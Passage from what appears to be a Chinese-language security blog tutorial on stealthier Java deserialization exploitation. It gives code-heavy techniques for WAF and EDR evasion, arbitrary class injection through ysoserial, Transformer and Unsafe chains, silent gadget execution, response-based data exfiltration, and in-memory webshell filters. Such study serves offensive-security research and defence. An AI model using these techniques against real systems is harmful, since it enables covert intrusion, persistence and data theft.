引言
不受信任数据的任意反序列化和Java gadget链已经在以下文章中进行了介绍:
-
Finding gadgets like it’s 2015 (第一部分, 第二部分) -
Finding gadgets like it’s 2022 -
Java Exploitation Restrictions in Modern JDK Times
本文将介绍一些技巧,这些技巧可以在识别出导致RCE(远程代码执行)的gadget链的易受攻击应用程序上应用,主要目标是使利用更加隐蔽。
避免WAFs
首先,作为一般建议,最好避免被静态模式检测到。在参与过程中,我们注意到WAF(Web应用程序防火墙)检测到序列化gadget链中的特定单词,例如:
-
Runtime
-
Process
-
exec
-
shell
-
ysoserial
第一步是重新编译生成gadget链的Java项目,一旦模块、包和类名被重命名。然后,应该稍微修改gadget链,以避免直接调用内置类或方法,这些类或方法被检测到是因为它们通常被使用,例如:
Runtime.getRuntime().exec("whoami")
此外,使用JavaAssist
在ysoserial 中创建随机类名的字符串也不应该被忘记,因为它们也可能被安全解决方案检测到:
// src/main/java/ysoserial/payloads/util/Gadgets.java
// ...
106 public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
107 throws Exception {
108 final T templates = tplClass.newInstance();
// ...
122 clazz.setName("ysoserial.Pwner" + System.nanoTime()); //HERE
123 CtClass superC = pool.get(abstTranslet.getName());
124 clazz.setSuperclass(superC);
// ...
133 // required to make TemplatesImpl happy
134 Reflections.setFieldValue(templates, "_name", "Pwnr"); // HERE
135 Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
136 return templates;
137 }
// ...
在运行时注入自定义类
如今,托管应用程序后端的服务器经常受到EDR(端点检测和响应)的监控,Java创建的子进程可能会触发警报。因此,执行任意命令的基本有效载荷将被检测到。避免它的一个简单方法是仅在运行时注入执行所需操作的Java代码,例如读写文件,或利用可以从底层服务器访问的服务。
从Translet API
通常,ysoserial 工具可以用来生成gadget链,几乎所有已知的链都使用相同的最后部分:位于JDK内部模块中的可序列化类,并提供强大的原语。实际上,java.xml
内部模块包含一个XSLT编译器 (Translet
API和TrAX
),在com.sun.org.apache.xalan
包中,它以某种方式具有从字节码在运行时注入Java类的能力。此外,这段代码可以从一个简单的getter 访问,这是几个gadget链的关键组件,例如CommonsBeanutils1。
这些gadget链通常通过在运行时加载一个自定义类来实现任意代码执行,该类包含一个静态初始化块,在类初始化期间执行任意Java代码。从这个API在运行时注入自定义Java代码的最简单的方法,而不是直接运行纯shell命令,是稍微修改ysoserial中的Gadgets类。例如,可以应用以下补丁,直接在工具参数上提供Java代码:
diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java
index d4cd783..100a32a 100644
--- a/src/main/java/ysoserial/payloads/util/Gadgets.java
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -103,7 +103,7 @@ public class Gadgets {
}
- public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+ public static <T> T createTemplatesImpl ( final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
@@ -114,10 +114,7 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
- String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
- command.replace("\\", "\\\\").replace("\"", "\\\"") +
- "\");";
- clazz.makeClassInitializer().insertAfter(cmd);
+ clazz.makeClassInitializer().insertAfter(code);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
然而,这个API也可以用来使Template
类定义多个类,这可能更方便,因为这样可以允许实现与特定类交互所需的接口,用于后期利用目的或在运行时持久化。只要这些类在运行时已经加载了它们的依赖项,例如Spring Web框架,就可以这样做。
实际上,TemplatesImpl类可以用来从_bytecodes
字段定义多个类:
// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
// [...]
454 /**
455 * Defines the translet class and auxiliary classes.
456 * Returns a reference to the Class object that defines the main class
457 */
458 private void defineTransletClasses()
459 throws TransformerConfigurationException {
// [...]
467 TransletClassLoader loader =
468 AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
469 public TransletClassLoader run() {
470 return new TransletClassLoader(ObjectFactory.findClassLoader(),
471 _tfactory.getExternalExtensionsMap());
472 }
473 });
// [...]
516 for (int i = 0; i < classCount; i++) {
517 _class[i] = loader.defineClass(_bytecodes[i], pd);
518 final Class<?> superClass = _class[i].getSuperclass();
519
520 // Check if this is the main class
521 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
522 _transletIndex = i;
523 }
524 else {
525 _auxClasses.put(_class[i].getName(), _class[i]);
526 }
527 }
// [...]
542 }
// [...]
在生成TemplatesImpl
实例的同时导入一个JAR文件,可以通过在ysoserial的Gadgets类中添加以下代码片段来实现:
// [...]
private static <T> T createClassTemplatesImplFromJar(final String jarFilePath, Class<T> tplClass,
Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
JarFile jarFile = new JarFile(new File(jarFilePath), false);
String mainClass = jarFile.getManifest().getMainAttributes().getValue(“Main-Class”);
if(mainClass == null)
throw new IllegalArgumentException(“No Main-Class manifest value found.”);
mainClass = mainClass.replace(“\\”, “\\\\”)
.replace(“\””, “\\\””);
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
// run main method of main-class in static initializer
String initializer = “Class.forName(\””+mainClass+“\”)” +
“.getMethod(\”main\”, new Class[]{String[].class})” +
“.invoke(null, new Object[]{new String[0]});”;
clazz.makeClassInitializer().insertAfter(initializer);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName(“ysoserial.Pwner” + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
// create bytecodes from .class files
List<byte[]> bytecodesList = new ArrayList<>();
for (Enumeration<JarEntry> en = jarFile.entries(); en.hasMoreElements(); ) {
JarEntry entry = en.nextElement();
if(!entry.getName().endsWith(“.class”)) continue;
InputStream is = jarFile.getInputStream(entry);
bytecodesList.add(IOUtils.readFully(is, (int) entry.getSize()));
}
final byte[][] bytecodes = new byte[bytecodesList.size() + 2][];
int i = 0;
for (byte[] code : bytecodesList) {
bytecodes[i] = code;
++i;
}
bytecodes[i++] = clazz.toBytecode();
bytecodes[i] = ClassFiles.classAsBytes(Gadgets.Foo.class);
// inject class bytes into instance
Reflections.setFieldValue(templates, “_bytecodes”, bytecodes);
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, “_name”, “Pwnr”);
Reflections.setFieldValue(templates, “_tfactory”, transFactory
.newInstance());
return templates;
}
public static Object createClassTemplatesImplFromJar(final String jarFilePath) throws Exception {
return createClassTemplatesImplFromJar(jarFilePath,
TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
// […]
createClassTemplatesImplFromJar
方法随后可以被用来在需要时,基于现有工具生成 TemplateImpl
实例。
然而,重复注入整个 JAR 文件不会有任何效果,因为同一个类不会被定义两次在同一个 ClassLoader
中,每个类的第一个版本会被保留。此外,当 PermGen
内存区域已满时,应当注意由 ysoserial 的作者 frohoff 在 这里 提到的 OutOfMemory
异常,这可能会在定义许多新类时发生。
来自 CommonsCollections 转换器链
其他工具链利用了宽容库提供的不同的强大原语,比如 CommonsCollections 使用 Transformer
链。如果目标应用程序有一个易受攻击的 CommonsCollections
依赖项,它可以被利用,而不需要依赖于内部的 Translets
,这些 Translets
可以从特定的 Java 运行时中移除,或者由于 JDK 16 开始不能从未命名模块中使用,正如 这篇伟大的文章 从 CODE WHITE 解释的那样。
不幸的是,在我们在场的时候,内部的 Translets
无法从易受攻击的应用程序中访问,所以我们使用了下面描述的一种技术。
根据上下文,可以使用两种方法。第一种使用 URLClassLoader
并且不是无文件的,而另一种使用另一个内部类但是是无文件的。然而,如果应用程序在 Java 安全管理器 内运行,这两种方法都可能受到限制。
现有的 CommonsCollections
工具已经使用了 Transformer
链,主要用于 使用 Translets 注入自定义类,或者用于 执行任意命令:
// src/main/java/ysoserial/payloads/CommonsCollections1.java
// [...]
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(“getMethod“, new Class[] {
String.class, Class[].class }, new Object[] {
“getRuntime”, new Class[0] }),
new InvokerTransformer(“invoke”, new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer(“exec”,
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
// […]
Reflections.setFieldValue(transformerChain, “iTransformers”, transformers);
return handler;
}
// […]
}
这些链允许通过组合多个 Transformer
functors 来执行几种强大的操作:
-
使用 ConstantsTransformer
定义由可序列化类型或标量组成的常量:
new ConstantTransformer(File.class);
-
使用 ChainedTransformer
对多个Transformers
进行迭代,方法是将前一个Transformer
的结果作为下一个Transformer
的第一个参数提供。 -
通过使用 InvokerTransformer
调用现有类的任意方法。这也适用于静态方法,但需要调用getMethod
来查找要调用的静态方法:
new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] })
};
-
使用 InstantiateTransformer
来实例化一个类:
new Transformer[] {
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{"/etc/passwd"}
),
};
-
通过保持相同的第一个参数来迭代多个 Transformers
。为此,应该使用ClosureTransformer
,它应该用ChainedClosure
作为参数化,而ChainedClosure
本身应该用TransformerClosure
数组作为参数化。这种结构允许在单个实例上调用多个方法,如果它被包含在主ChainedTransformer
内。闭包(Closures)很有用,例如,可以使静态字段或方法可访问(即使它的可见性最初是protected
或private
),然后获取或调用它:
new Transformer[] {
new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
new InvokerTransformer("getDeclaredField",
new Class[]{ String.class },
new Object[]{"theUnsafe"}
),
new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
"setAccessible",
new Class[]{ boolean.class },
new Object[]{ true }
))),
new InvokerTransformer("get",
new Class[]{ Object.class },
new Object[]{ null }
)
};
还有一些 functors 提供了控制流功能(例如 IfClosure
、ForClosure
、SwitchTransformer
、WhileClosure
)。
这些链的唯一限制是,无法向方法或构造函数提供不可序列化的参数。
从 Transformers 实例化 URLClassLoader
这种链可以被修改,以实际在磁盘上写入一个新的 JAR 文件,然后使用 URLClassLoader
加载它,并删除该文件。
例如,以下链将在 /tmp/
中创建一个文件夹,将 JAR 文件存储在其中,并从中加载一个类:
String uniqueKey = System.nanoTime() + "";
String mainClassName = "TestClass" + uniqueKey;
byte[] jarBytes = FileUtils.readFileToByteArray(new File(jarFilePath));
final Transformer[] transformers = new Transformer[]{
// create a temp folder
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{“/tmp/.cache_” + uniqueKey + “/”}
),
new InvokerTransformer(“mkdirs”,
new Class[]{}, new Object[]{}),
// write the JAR file in it
new ConstantTransformer(FileOutputStream.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{“/tmp/.cache_” + uniqueKey + “/save.bmp”}
),
new InvokerTransformer(“write”,
new Class[]{byte[].class}, new Object[]{jarBytes}),
// create the URLClassLoader, load the class, and instantiate it
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(new Class[]{
URL[].class}, new Object[]{new URL[]{
new URL(“file:///tmp/.cache_” + uniqueKey + “/save.bmp”)}}
),
new InvokerTransformer(“loadClass”,
new Class[]{String.class}, new Object[]{mainClassName}),
new InstantiateTransformer(
new Class[]{},
new Object[]{}
),
// delete the JAR file
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{“/tmp/.cache_” + uniqueKey + “/save.bmp”}
),
new InvokerTransformer(“delete”,
new Class[]{}, new Object[]{}),
// delete the folder
new ConstantTransformer(File.class),
new InstantiateTransformer(
new Class[]{String.class},
new Object[]{“/tmp/.cache_” + uniqueKey + “/”}
),
new InvokerTransformer(“delete”,
new Class[]{}, new Object[]{}),
};
从 Transformers 调用 Unsafe
可以创建一个链来使用 sun.misc.Unsafe
定义一个匿名类。这只能一次定义一个类,但可以是无文件的,非常有用。此外,这个单一的类可以用来实现一个自定义的 ClassLoader
,稍后定义所有必需的类。
以下链使用 Closure
设置 theUnsafe
字段可访问,检索它的值,调用它的 defineAnonymousClass
方法,并创建返回类的一个新的实例:
byte[] classBytes = FileUtils.readFileToByteArray(new File("CustomClass.class"));
new Transformer[]{
new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
new InvokerTransformer("getDeclaredField",
new Class[]{ String.class },
new Object[]{"theUnsafe"}
),
new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
"setAccessible",
new Class[]{ boolean.class },
new Object[]{ true }
))),
new InvokerTransformer("get",
new Class[]{ Object.class },
new Object[]{ null }
),
new InvokerTransformer("defineAnonymousClass",
new Class[]{ Class.class, byte[].class, Object[].class },
new Object[]{ String.class, classBytes, new Object[0] }
),
new InvokerTransformer("newInstance",
new Class[0], new Object[0]
)
};
从 Transformers 实例化 ByteArrayClassLoader
来自 byte-buddy 依赖项的 ByteArrayClassLoader
类在定义任意类时也非常有用,因为它提供了一个自定义的公共 ClassLoader
,可以在不修补字段的情况下使用:
Map<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", Files.readAllBytes(Path.of("SampleClass.class")));
new ByteArrayClassLoader(null, definitions)
.loadClass(“SampleClass”)
.newInstance();
或者在 Transformer
链中如下:
HashMap<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", FileUtils.readFileToByteArray(new File("SampleClass.class")));
new Transformer[]{
new ConstantTransformer(Class.forName(“net.bytebuddy.dynamic.loading.ByteArrayClassLoader”)),
new InstantiateTransformer(
new Class[]{ ClassLoader.class, Map.class },
new Object[]{ null, defs }
),
new InvokerTransformer(“loadClass”,
new Class[]{ String.class },
new Object[]{ “SampleClass” }
),
new InvokerTransformer(“newInstance”,
new Class[0], new Object[0]
)
};
然而,这个依赖经常被使用吗?看起来它确实被 包含 在一些项目中:
-
Selenium Java -
Hibernate Core -
HikariCP(如果启用了 Hibernate-Core
可选依赖项)
使 gadgets 更隐蔽
如果构建不当,大多数 gadgets 会触发异常。为了使有效载荷更隐蔽,需要深入理解代码流程,使 gadget 反序列化过程顺畅,错误日志为空。
Translets
使用 ysoserial 生成的 gadgets 在反序列化时,会在定义新的任意类之后抛出以下异常:
Caused by: java.lang.NullPointerException: null
at java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:375) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) ~[na:na]
| ... 120 common frames omitted
这个异常实际上是从 AbstractTranslet
类的 postInitialization
方法抛出的:
// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet.java
// [...]
public final void postInitialization() {
if (this.transletVersion < 101) {
int arraySize = this.namesArray.length; // 这里抛出异常
String[] newURIsArray = new String[arraySize];
String[] newNamesArray = new String[arraySize];
int[] newTypesArray = new int[arraySize];
// [...]
this.namesArray = newNamesArray;
this.urisArray = newURIsArray;
this.typesArray = newTypesArray;
}
if (this.transletVersion > 101) {
BasisLibrary.runTimeError(“UNKNOWN_TRANSLET_VERSION_ERR”, this.getClass().getName());
}
}
// […]
为了避免这个错误,可以在自定义 Translet
构造函数中添加以下语句之一:
-
使用空数组初始化 namesArray
字段:
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");
-
将 transletVersion
字段设置为大于100
:
clazz.getConstructors()[0].setBody("this.transletVersion = 101;");
还应注意,当使用内部模块时,最近的 JVM 在从无名模块第一次访问内部模块时会发出抱怨:
WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.collections4.functors.InvokerTransformer (jar:file:app.jar!/BOOT-INF/lib/commons-collections4-4.0.jar!/) to method com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
WARNING: Please consider reporting this to the maintainers of org.apache.commons.collections4.functors.InvokerTransformer
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release
此消息默认写入 stderr
,可以通过关闭 stderr
避免,但我们没有找到可以用来完全隐藏它的方法。尽管如此,当复杂的 Java 应用程序启动时,这通常会被合理地显示。
CommonsCollections
为了避免因为 Transformer
链返回的最后一个元素不是 Comparable
而抛出异常,可以修改 CommonsCollections
gadgets 以返回一个常量 String
:
public class CommonsCollections2 implements ObjectPayload<Serializable> {
public Serializable getObject(final String javaClassPath) throws Exception {
// […]
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
transformer,
new ConstantTransformer(“”) // 在这里
/* 始终在最后返回一个字符串,
* 它是一个基本类型并且
* 是可比较的(消除了所有抛出的异常)
*/
});
// […]
}
CommonsBeanutils1
当 CommonsBeanutils1
gadget 链为 BeansComparator
创建后,调用了内部类 TemplatesImpl
的 getOutputProperties 方法时,会抛出异常,因为返回的对象没有实现 Comparable
接口。
为了避免这类异常,可以向 BeansComparator
构造函数提供一个可序列化且内部的 NullComparator 类的实例:
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String filePath) throws Exception {
final Object templates = Gadgets.createClassTemplatesImplFromJar(filePath);
// NullComparator 实现了 Comparator<?> 和 Serializable
Constructor<?> nullComparatorConstructor = Reflections
.getFirstCtor(“java.util.Comparators$NullComparator”);
Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
.newInstance(true, null);
// 模拟方法名称直到武装
final BeanComparator comparator = new BeanComparator(“lowestSetBit”, nullComparator);
// […]
}
}
由于此比较器不会尝试将元素强制转换为 Comparable
,因此在反序列化过程中不会抛出异常。
在真实的对象内封装 gadgets
一旦最终的 gadget 被构建(例如在 CommonsCollections4.java::getObject
内),可以将 gadget 链隐藏在任何类的实例中。
例如,如果底层应用程序期望一个特定的 Serializable
类型,可以重新声明它并添加一个内部的 Object
字段,该字段将包含 gadget,因为对它(见 FieldValues 实现)没有约束。
例如,如果应用程序有以下易受攻击的代码:
CustomResult res = (CustomResult)ois.readObject();
System.out.println(res.result+1);
带有以下 CustomResult
类:
package my.app;
class CustomResult {
public final int result;
public CustomResult(int res) {this.result = res;}
}
可以在生成 gadget 链的 Java 项目中手动重新声明相同的类(例如在 ysoserial 内)以添加一个任意对象,该对象将包含用于触发链的 gadget(构造函数仅在生成序列化链的项目中使用),只要定义了相同的 serialVersionUID
:
package my.app;
class CustomResult implements Serializable {
private final long serialVersionUID = XL; // 需要从现有的生成的 UID 适应
private Object ignoredObject;
public final int result;
public CustomResult(Object gadget) {
this.result = 1337;
this.ignoredObject = gadget;
}
}
然后,只需修改现有 gadget 链的 return
语句:
public Object getObject(final String arg) throws Exception {
// [...]
// 创建带有数字和基本比较器的队列
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
// 稍后替换的存根数据
queue.add(1);
queue.add(1);
// [...]
return new my.app.CustomResult(queue); // 在这里
}
一旦生成并发送到应用程序,序列化的 gadget 链应该会触发,应用程序不会因接收到预期类型的实例而引发异常。
数据泄露
由于传出连接和DNS请求可能会被过滤,最好是找到允许从被破坏的应用程序中泄露数据的方法。
这些方法通常重新使用Web应用程序的环境,以便在与当前HTTP请求相关的响应中返回数据。Web环境根据目标应用程序的不同而变化,但常见的包括:
-
Javax Faces -
Spring
为了找到这样的方法,可以采取以下通用方法:
-
阅读Web框架的文档,以及嵌入式Web服务器的文档。 -
阅读它们的源代码或分析它们的JAR文件,以了解如何处理和存储当前HTTP请求及其响应。 -
分析当前线程上存储的引用。在Java中,当前 线程 通常 保存 Web应用程序的当前状态在 ThreadLocal 映射上。存储在其中变量被称为 ThreadLocals
。
分析 ThreadLocals
为了分析当前线程上存储的 ThreadLocals
,应使用 Reflection
API 将特定字段设置为可访问(即 public
)。然后,可以枚举 ThreadLocalMap
条目:
Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class
.getDeclaredField("threadLocals");
fThreadLocals.setAccessible(true);
java.lang.reflect.Field fTable = Class
.forName(“java.lang.ThreadLocal$ThreadLocalMap”)
.getDeclaredField(“table”);
fTable.setAccessible(true);
if(fThreadLocals.get(t) == null) return;
Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class
.forName(“java.lang.ThreadLocal$ThreadLocalMap$Entry”)
.getDeclaredField(“value”);
fValue.setAccessible(true);
int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
Object entry = java.lang.reflect.Array.get(table, i);
if(entry == null) continue;
Object value = fValue.get(entry);
if(value == null) continue;
if (value instanceof java.lang.ref.WeakReference) {
value = ((java.lang.ref.WeakReference) value).get();
}
if(value == null) continue;
if (value instanceof java.lang.ref.SoftReference) {
value = ((java.lang.ref.SoftReference) value).get();
}
if(value == null) continue;
System.out.println(value.getClass() + ” => “ + value.toString());
}
如果在 Javax Faces 应用程序上执行前面的代码片段,则会打印以下 ThreadLocals
:
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class java.util.concurrent.ThreadLocalRandom => java.util.concurrent.ThreadLocalRandom@3b04c8e9
class com.sun.faces.application.ApplicationAssociate => com.sun.faces.application.ApplicationAssociate@37225744
class java.lang.StringCoding$StringDecoder => java.lang.StringCoding$StringDecoder@41d82a29
class sun.nio.cs.UTF_8$Encoder => sun.nio.cs.UTF_8$Encoder@693220b9
class java.lang.StringCoding$StringEncoder => java.lang.StringCoding$StringEncoder@5a0287a3
class com.sun.xml.internal.stream.util.BufferAllocator => com.sun.xml.internal.stream.util.BufferAllocator@36bf1523
前两个条目与当前正在处理的请求的内部状态有关(FacesContextImpl),这是与内部Web API交互的良好入口点。尽管这些条目可以以通用方式用于获取当前状态的引用,但根据Web框架的不同,可能存在静态方法来获取相同的状态。
在 Javax Faces 中
在该 Web 框架中,一个 静态方法 允许从 ThreadLocals
中检索应用程序的当前状态:
// src/main/java/javax/faces/context/FacesContext.java
// ...
/**
* <p class="changed_modified_2_0">返回当前线程正在处理的请求的 {@link FacesContext}
* 实例。如果在应用程序初始化或关闭期间调用,
// ...
*/
public static FacesContext getCurrentInstance() {
FacesContext facesContext = instance.get();
if (null == facesContext) {
facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
}
// Bug 20458755: 如果在 threadInitContext 中未找到,使用
// 一个特殊的 FacesContextFactory 实现,知道如何
// 使用 initContextServletContext 映射从无中获取当前 ServletContext
// (实际上,使用当前的 ClassLoader),并使用它
// 来获取与该 ServletContext 对应的初始化 FacesContext。
if (null == facesContext) {
// …
FacesContextFactory privateFacesContextFactory = (FacesContextFactory) FactoryFinder.getFactory(“com.sun.faces.ServletContextFacesContextFactory”);
if (null != privateFacesContextFactory) {
facesContext = privateFacesContextFactory.getFacesContext(null, null, null, null);
}
}
return facesContext;
}
// …
从这个实例中,可以使用 getRequest
和 getResponse
方法从 ExternalContext 获取 HTTP 请求及其响应:
HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance()
.getExternalContext().getRequest());
System.out.println(req.getParameter("get_param"));
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
.getExternalContext().getResponse());
resp.getWriter().write(“Response!”);
如果 Faces 使用的是 Portlet
而不是 Servlet
,请求和响应类型可能会有所不同。
然而,如果这些方法是由主 ClassLoader
内加载的类,或者与当前线程上下文的类加载器不同的 ClassLoader
调用的,则会抛出异常。与 Faces 交互的最简单方法是实际上使用当前线程上下文的 ClassLoader
加载一个新类:
byte[] classBytes = new byte[]{/* [...] */};
Method method = classLoader.loadClass("java.lang.ClassLoader")
.getDeclaredMethod("defineClass", String.class, byte[].class, Integer.class, Integer.class);
method.setAccessible(true);
((Class) method.invoke(Thread.currentThread().getContextClassLoader(),
className, classBytes, 0, classBytes.length)
).newInstance();
另一种选择是通过查询当前线程上下文的 ClassLoader
手动查找类和调用方法:
Class klass = Thread.currentThread().getContextClassLoader().loadClass("javax.faces.context.FacesContext")
Object instance = klass.getMethod("getCurrentInstance", new Class[0])
.invoke(null);
// ...
最后,应该注意到相同的静态方法似乎在 Mojarra Faces 上 存在,所以通过这种方式泄露数据也应该在这个 Web 框架上有效,只要使用正确的包即可。
在 Spring 中
与 Faces 类似,Spring 中的一个 静态方法 可以自动从 ThreadLocals
中查找应用程序的当前状态:
// spring-web/src/main/java/org/springframework/web/context/request/RequestContextHolder.java
// ...
/**
* 返回当前绑定到线程的 RequestAttributes。
* <p>如果存在,公开先前绑定的 RequestAttributes 实例。
* 如果没有,回退到当前的 JSF FacesContext。
* ...
* @see #setRequestAttributes
* @see ServletRequestAttributes
* @see FacesRequestAttributes
* @see jakarta.faces.context.FacesContext#getCurrentInstance()
*/
public static RequestAttributes currentRequestAttributes() throws IllegalStateException {
RequestAttributes attributes = getRequestAttributes();
if (attributes == null) {
if (jsfPresent) {
attributes = FacesRequestAttributesFactory.getFacesRequestAttributes();
}
if (attributes == null) {
throw new IllegalStateException("No thread-bound request found: " +
// ...
"在这种情况下,使用 RequestContextListener 或 RequestContextFilter 来公开当前请求。");
}
}
return attributes;
}
// ...
HTTP 请求及其响应可以从扩展 RequestAttributes
的类的实例中获取。对于 Servlet
,应使用 ServletRequestAttributes
类的 getRequest
和 getResponse
方法:
ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes();
System.out.println(reqAttributes.getRequest()
.getParameter("get_param"));
PrintWriter writer = reqAttributes.getResponse()
.getWriter();
writer.println("Result");
writer.flush();
劫持 HTTP 流
在利用任意反序列化漏洞时,如果网络流量被过滤,下一步可能是劫持 HTTP 流。这对于在运行时持久化并只利用一次漏洞,通过部署内存中的 Webshell 很有用,即使是在没有 JSP(JavaServer Pages)文件解析器的环境中。
对于数据泄露,可以针对以下 Web 环境:
-
Javax Faces -
内置 Tomcat 的 Spring -
内置 Jetty 的 Spring
针对嵌入式 Tomcat 的一些技术已经在 这篇有趣的文章 和 ysomap 工具中介绍。接下来的章节将展示一种可用于 Spring 和 Jetty 的方法,另一种针对 Javax Faces,第三种针对使用 Valves 的 Spring 和 Tomcat。
在使用 Jetty 的 Spring 上使用过滤器
在 Jetty 中,主要的 Web 服务由 WebAppContext
类管理其上下文。然而,从 ThreadLocals
中,只能从前面提到的 RequestContextHolder
类获取到其封闭类 Context
的实例:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
在 Java 中,非静态封闭类持有其封闭类的实例。内部,使用名为 this$0
的私有字段来存储此实例。为了获得 WebAppContext
的实例,可以使用以下 Java 代码片段:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
从这里开始,可以定义自定义过滤器来拦截运行中的应用程序的请求:
WebAppContext.Context ctx = (WebAppContext.Context) (
(ServletRequestAttributes)RequestContextHolder
.currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);
Set<DispatcherType> set = new HashSet<DispatcherType>();
appCtx.addFilter(new FilterHolder(new Filter() {
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(!(servletRequest instanceof HttpServletRequest)) {
filterChain.doFilter(servletRequest, servletResponse);
return;
}
if(((HttpServletRequest) servletRequest).getHeader(“req_header”) != null) {
servletResponse.getWriter().write(((HttpServletRequest) servletRequest).getHeader(“req_header”) );
((HttpServletResponse)servletResponse).getWriter().append(“Result”);
}
filterChain.doFilter(servletRequest, servletResponse);
}
}), “/*”, EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));
这可以作为针对使用 Jetty 的 Spring 的内存 Webshell 的基础。然而,与嵌入式 Tomcat 一样,需要更多的工作才能将此过滤器置于过滤器链的顶部,以拦截未认证的请求,这取决于目标应用程序。
在 Javax Faces 中使用阶段
在 Faces 中,可以通过使用 PhaseListeners 来拦截请求。它们可以像在 Jetty 或 Tomcat 上的过滤器一样附加到底层 Web 框架上。
自定义的 PhaseListener
结构如下:
public class CustomPhase implements PhaseListener {
@Override
public void afterPhase(PhaseEvent phaseEvent) {
try {
Map<String, Object> cookies = FacesContext.getCurrentInstance().getExternalContext()
.getRequestCookieMap();
if (!cookies.containsKey(“test”))
return;
Cookie cookie = (Cookie) cookies.get(“test”);
// …
HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
.getExternalContext().getResponse());
